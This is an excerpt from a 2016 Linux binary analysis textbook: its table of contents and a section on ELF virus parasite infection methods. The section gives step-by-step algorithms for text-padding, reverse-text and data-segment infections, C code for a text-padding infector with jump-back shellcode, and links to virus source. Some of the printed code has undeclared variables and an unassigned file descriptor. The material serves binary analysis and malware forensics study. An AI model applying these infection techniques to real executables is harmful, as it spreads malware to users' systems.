Table of Contents for
Learning Linux Binary Analysis

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Learning Linux Binary Analysis by Ryan elfmaster O'Neill Published by Packt Publishing, 2016
  1. Cover
  2. Table of Contents
  3. Learning Linux Binary Analysis
  4. Learning Linux Binary Analysis
  5. Credits
  6. About the Author
  7. Acknowledgments
  8. About the Reviewers
  9. www.PacktPub.com
  10. Preface
  11. What you need for this book
  12. Who this book is for
  13. Conventions
  14. Reader feedback
  15. Customer support
  16. 1. The Linux Environment and Its Tools
  17. Useful devices and files
  18. Linker-related environment points
  19. Summary
  20. 2. The ELF Binary Format
  21. ELF program headers
  22. ELF section headers
  23. ELF symbols
  24. ELF relocations
  25. ELF dynamic linking
  26. Coding an ELF Parser
  27. Summary
  28. 3. Linux Process Tracing
  29. ptrace requests
  30. The process register state and flags
  31. A simple ptrace-based debugger
  32. A simple ptrace debugger with process attach capabilities
  33. Advanced function-tracing software
  34. ptrace and forensic analysis
  35. Process image reconstruction – from the memory to the executable
  36. Code injection with ptrace
  37. Simple examples aren't always so trivial
  38. Demonstrating the code_inject tool
  39. A ptrace anti-debugging trick
  40. Summary
  41. 4. ELF Virus Technology �� Linux/Unix Viruses
  42. ELF virus engineering challenges
  43. ELF virus parasite infection methods
  44. The PT_NOTE to PT_LOAD conversion infection method
  45. Infecting control flow
  46. Process memory viruses and rootkits – remote code injection techniques
  47. ELF anti-debugging and packing techniques
  48. ELF virus detection and disinfection
  49. Summary
  50. 5. Linux Binary Protection
  51. Stub mechanics and the userland exec
  52. Other jobs performed by protector stubs
  53. Existing ELF binary protectors
  54. Downloading Maya-protected binaries
  55. Anti-debugging for binary protection
  56. Resistance to emulation
  57. Obfuscation methods
  58. Protecting control flow integrity
  59. Other resources
  60. Summary
  61. 6. ELF Binary Forensics in Linux
  62. Detecting other forms of control flow hijacking
  63. Identifying parasite code characteristics
  64. Checking the dynamic segment for DLL injection traces
  65. Identifying reverse text padding infections
  66. Identifying text segment padding infections
  67. Identifying protected binaries
  68. IDA Pro
  69. Summary
  70. 7. Process Memory Forensics
  71. Process memory infection
  72. Detecting the ET_DYN injection
  73. Linux ELF core files
  74. Summary
  75. 8. ECFS – Extended Core File Snapshot Technology
  76. The ECFS philosophy
  77. Getting started with ECFS
  78. libecfs – a library for parsing ECFS files
  79. readecfs
  80. Examining an infected process using ECFS
  81. The ECFS reference guide
  82. Process necromancy with ECFS
  83. Learning more about ECFS
  84. Summary
  85. 9. Linux /proc/kcore Analysis
  86. stock vmlinux has no symbols
  87. /proc/kcore and GDB exploration
  88. Direct sys_call_table modifications
  89. Kprobe rootkits
  90. Debug register rootkits – DRR
  91. VFS layer rootkits
  92. Other kernel infection techniques
  93. vmlinux and .altinstructions patching
  94. Using taskverse to see hidden processes
  95. Infected LKMs – kernel drivers
  96. Notes on /dev/kmem and /dev/mem
  97. /dev/mem
  98. K-ecfs – kernel ECFS
  99. Kernel hacking goodies
  100. Summary
  101. Index

ELF virus parasite infection methods

There are only so many places to fit code in a binary, and for any sophisticated virus, the parasite is going to be at least a few thousand bytes and will require enlarging the size of the host executable. In ELF executables, there aren't a whole lot of code caves (such as in the PE format), so you are not likely to be able to shove more than just a meager amount of shellcode into existing code slots (such as areas that have 0s or NOPS for function padding).

The Silvio padding infection method

This infection method was conceived by Silvio Cesare in the late '90s and has since shown up in various Linux viruses, such as Brundle Fly and the POCs produced by Silvio himself. This method is inventive, but it limits the infection payload to one page size. On 32-bit Linux systems, this is 4096 bytes, but on 64-bit systems, the executables use large pages that measure 0x200000 bytes, which allows for about a 2-MB infection. The way that this infection works is by taking advantage of the fact that in memory, there will be one page of padding between the text segment and data segment, whereas on disk, the text and data segments are back to back, but someone can take advantage of the expected space between segments and utilize that as an area for the payload.

The Silvio padding infection method

Figure 4.2: The Silvio padding infection layout

The text padding infection created by Silvio is heavily detailed and documented in his VX Heaven paper Unix ELF parasites and viruses (http://vxheaven.org/lib/vsc01.html), so for extended reading, by all means check it out.

Algorithm for the Silvio .text infection method

  1. Increase ehdr->e_shoff by PAGE_SIZE in the ELF file header.
  2. Locate the text segment phdr:
    1. Modify the entry point to the parasite location:
      ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz
    2. Increase phdr[TEXT].p_filesz by the length of the parasite.
    3. Increase phdr[TEXT].p_memsz by the length of the parasite.
  3. For each phdr whose segment is after the parasite, increase phdr[x].p_offset by PAGE_SIZE bytes.
  4. Find the last shdr in the text segment and increase shdr[x].sh_size by the length of the parasite (because this is the section that the parasite will exist in).
  5. For every shdr that exists after the parasite insertion, increase shdr[x].sh_offset by PAGE_SIZE.
  6. Insert the actual parasite code into the text segment at (file_base + phdr[TEXT].p_filesz).

    Note

    The original p_filesz value is used in the computation.

    Tip

    It makes more sense to create a new binary that reflects all of the changes and then copy it over the old binary. This is what I mean by inserting the parasite code: rewriting a new binary that includes the parasite within it.

A good example of this infection technique being implemented by an ELF virus is my lpv virus, which was written in 2008. For the sake of being efficient, I will not paste the code here, but it can be found at http://www.bitlackeys.org/projects/lpv.c.

An example of text segment padding infection

A text segment padding infection (also referred to as a Silvio infection) can best be demonstrated by some example code, where we see how to properly adjust the ELF headers before inserting the actual parasite code.

Adjusting the ELF headers

#define JMP_PATCH_OFFSET 1 // how many bytes into the shellcode do we patch
/* movl $addr, %eax; jmp *eax; */
char parasite_shellcode[] =
        "\xb8\x00\x00\x00\x00"      
        "\xff\xe0"                  
;

int silvio_text_infect(char *host, void *base, void *payload, size_t host_len, size_t parasite_len)
{
        Elf64_Addr o_entry;
        Elf64_Addr o_text_filesz;
        Elf64_Addr parasite_vaddr;
        uint64_t end_of_text;
        int found_text;

        uint8_t *mem = (uint8_t *)base;
        uint8_t *parasite = (uint8_t *)payload;

        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
        Elf64_Phdr *phdr = (Elf64_Phdr *)&mem[ehdr->e_phoff];
        Elf64_Shdr *shdr = (Elf64_Shdr *)&mem[ehdr->e_shoff];

        /*
         * Adjust program headers
         */
        for (found_text = 0, i = 0; i < ehdr->e_phnum; i++) {
                if (phdr[i].p_type == PT_LOAD) {
                        if (phdr[i].p_offset == 0) {

                                o_text_filesz = phdr[i].p_filesz;
                                end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
                                parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;

                                phdr[i].p_filesz += parasite_len;
                                phdr[i].p_memsz += parasite_len;

                                for (j = i + 1; j < ehdr->e_phnum; j++)
                                        if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
                                                phdr[j].p_offset += PAGE_SIZE;

                                }
                                break;
                        }
        }
        for (i = 0; i < ehdr->e_shnum; i++) {
                if (shdr[i].sh_addr > parasite_vaddr)
                        shdr[i].sh_offset += PAGE_SIZE;
                else
                if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
                        shdr[i].sh_size += parasite_len;
        }
     
    /*
      * NOTE: Read insert_parasite() src code next
         */
        insert_parasite(host, parasite_len, host_len,
                        base, end_of_text, parasite, JMP_PATCH_OFFSET);
        return 0;
}

Inserting the parasite code

#define TMP "/tmp/.infected"

void insert_parasite(char *hosts_name, size_t psize, size_t hsize, uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset)
{
/* note: jmp_code_offset contains the
* offset into the payload shellcode that
* has the branch instruction to patch
* with the original offset so control
* flow can be transferred back to the
* host.
*/
        int ofd;
        unsigned int c;
        int i, t = 0;
        open (TMP, O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR|S_IXUSR|S_IWUSR);  
        write (ofd, mem, end_of_text);
        *(uint32_t *) &parasite[jmp_code_offset] = old_e_entry;
        write (ofd, parasite, psize);
        lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
        mem += end_of_text;
        unsigned int sum = end_of_text + PAGE_SIZE;
        unsigned int last_chunk = hsize - end_of_text;
        write (ofd, mem, last_chunk);
        rename (TMP, hosts_name);
        close (ofd);
}

Example of using the functions above

uint8_t *mem = mmap_host_executable("./some_prog");
silvio_text_infect("./some_prog", mem, parasite_shellcode, parasite_len);

The LPV virus

The LPV virus uses the Silvio padding infection and is designed for 32-bit Linux systems. It is available for download at http://www.bitlackeys.org/#lpv.

Use cases for the Silvio padding infection

The Silvio padding infection method discussed is very popular and has as such been used a lot. The implementation of this method on 32-bit UNIX systems is limited to a parasite of 4,096 bytes, as mentioned earlier. On newer systems where large pages are used, this infection method has a lot more potential and allows much larger infections (upto 0x200000 bytes). I have personally used this method for parasite infection and relocatable code injection, although I have ditched it in favor of the reverse text infection method, which we will discuss next.

The reverse text infection

This idea behind this infection was originally conceived and documented by Silvio in his UNIX viruses paper, but it did not provide a working POC. I have since extended this into an algorithm that I have used for a variety of ELF hacking projects, including my software protection product Mayas Veil, which is discussed at http://www.bitlackeys.org/#maya.

The premise behind this method is to extend the text segment in reverse. In doing this, the virtual address of the text will be reduced by PAGE_ALIGN (parasite_size). And since the smallest virtual mapping address allowed (as per /proc/sys/vm/mmap_min_addr) on modern Linux systems is 0x1000, the text virtual address can be extended backwards only that far. Fortunately, since the default text virtual address on a 64-bit system is usually 0x400000, this leaves room for a parasite of 0x3ff000 bytes (minus another sizeof(ElfN_Ehdr) bytes, to be exact).

The complete formula to calculate the maximum parasite size for a host executable would be this:

max_parasite_length = orig_text_vaddr - (0x1000 + sizeof(ElfN_Ehdr))

Note

On 32-bit systems, the default text virtual address is 0x08048000, which leaves room for an even larger parasite than on a 64-bit system:

(0x8048000 - (0x1000 + sizeof(ElfN_Ehdr)) = (parasite len)134508492
The reverse text infection

Figure 4.3: The reverse text infection layout

There are several attractive features to this .text infection: not only does it allow extremely large code injections, but it also allows for the entry point to remain pointing to the .text section. Although we must modify the entry point, it will still be pointing to the actual .text section rather than another section such as .jcr or .eh_frame, which would immediately look suspicious. The insertion spot is in the text, so it is executable (like the Silvio padding infection). This beats data segment infections, which allow unlimited insertion space but require altering the segment permissions on NX-bit enabled systems.

Algorithm for reverse text infection

Note

This makes a reference to the PAGE_ROUND(x) macro and rounds an integer up to the next PAGE aligned value.

  1. Increase ehdr->e_shoff by PAGE_ROUND(parasite_len).
  2. Find the text segment, phdr, and save the original p_vaddr:
    1. Decrease p_vaddr by PAGE_ROUND(parasite_len).
    2. Decrease p_paddr by PAGE_ROUND(parasite_len).
    3. Increase p_filesz by PAGE_ROUND(parasite_len).
    4. Increase p_memsz by PAGE_ROUND(parasite_len).
  3. Find every phdr whose p_offset is greater than the text's p_offset and increase p_offset by PAGE_ROUND(parasite_len); this will shift them all forward, making room for the reverse text extension.
  4. Set ehdr->e_entry to this:
    orig_text_vaddr – PAGE_ROUND(parasite_len) + sizeof(ElfN_Ehdr)
  5. Increase ehdr->e_phoff by PAGE_ROUND(parasite_len).
  6. Insert the actual parasite code by creating a new binary to reflect all of these changes and copy the new binary over the old.

A complete example of the reverse text infection method can be found on my website at http://www.bitlackeys.org/projects/text-infector.tgz.

An even better example of the reverse text infection is used in the Skeksi virus, which can be downloaded from the link provided earlier in this chapter. A complete disinfection program for this type of infection is also available here:

http://www.bitlackeys.org/projects/skeksi_disinfect.c.

Data segment infections

On systems that do not have the NX bit set, such as 32-bit Linux systems, one can execute code in the data segment (even though its permissions are R+W) without having to change the segment permissions. This can be a really nice way to infect a file, because it leaves infinite room for the parasite. One can simply append to the data segment with the parasite code. The only caveat to this is that you must leave room for the .bss section. The .bss section takes up no room on disk but is allocated space at the end of the data segment at runtime for uninitialized variables. You may get the size of what the .bss section will be in memory by subtracting the data segment's phdr->p_filesz from its phdr->p_memsz.

Data segment infections

Figure 4.4: Data segment infection

Algorithm for data segment infection

  1. Increase ehdr->e_shoff by the parasite size.
  2. Locate the data segment phdr:
    1. Modify ehdr->e_entry to point where parasite code will be:
      phdr->p_vaddr + phdr->p_filesz
    2. Increase phdr->p_filesz by the parasite size.
    3. Increase phdr->p_memsz by the parasite size.
  3. Adjust the .bss section header so that its offset and address reflect where the parasite ends.
  4. Set executable permissions on data segment:
    phdr[DATA].p_flags |= PF_X;

    Note

    Step 4 only applies to systems with the NX (non-executable pages) bit set. On 32-bit Linux, the data segment doesn't require to be marked executable in order to execute code unless something like PaX (https://pax.grsecurity.net/) is installed in the kernel.

  5. Optionally, add a section header with a fake name to account for your parasite code. Otherwise, if someone runs /usr/bin/strip <infected_program> it will remove the parasite code completely if it's not accounted for by a section.
  6. Insert the parasite by creating a new binary that reflects the changes and includes the parasite code.

Data segment infections serve well for scenarios that aren't necessarily virus-specific as well. For instance, when writing packers, it is often useful to store the encrypted executable within the data segment of the stub executable.